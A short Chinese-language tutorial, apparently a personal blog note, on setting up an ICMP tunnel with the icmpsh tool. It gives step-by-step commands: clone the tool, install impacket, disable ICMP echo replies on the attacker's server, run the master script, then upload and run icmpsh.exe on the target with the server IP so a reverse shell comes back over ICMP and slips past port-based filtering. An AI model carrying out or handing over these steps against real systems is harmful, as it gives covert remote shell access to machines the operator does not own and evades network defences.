ICMP隧道小记
一般的通信协议里,如果两台设备之间需要进行通信,肯定是需要开放端口的,但是ICMP协议不需要。
step 1 下载
git clone https://github.com/inquisb/icmpsh.git
step 2 装第三方库
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。
安装Python-impacket库:
apt-get install python-impacket
如果出现下图的情况,更新一下服务器中的包即可
如果还是不可以的话,就只能用pip了
pip2 install impacket
step 3 配置
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
隧道利用完记得换回来1改成0就好
step 4 Run
./run.sh
然后输入目标ip即可
如果上述指令无法使用,使用python脚本跑即可,如下
python icmpsh_m.py 服务器ip 目标站点ip
上述指令输入完成之后
我们需要在对面站点的终端中运行icmpsh.exe(服务器进入icmpsh的文件夹,ls查看一下目录就可以找到,然后下载下来上传到目标站点中)运行
icmpsh.exe -t 服务器ip
这个时候就成功反弹shell到服务器了。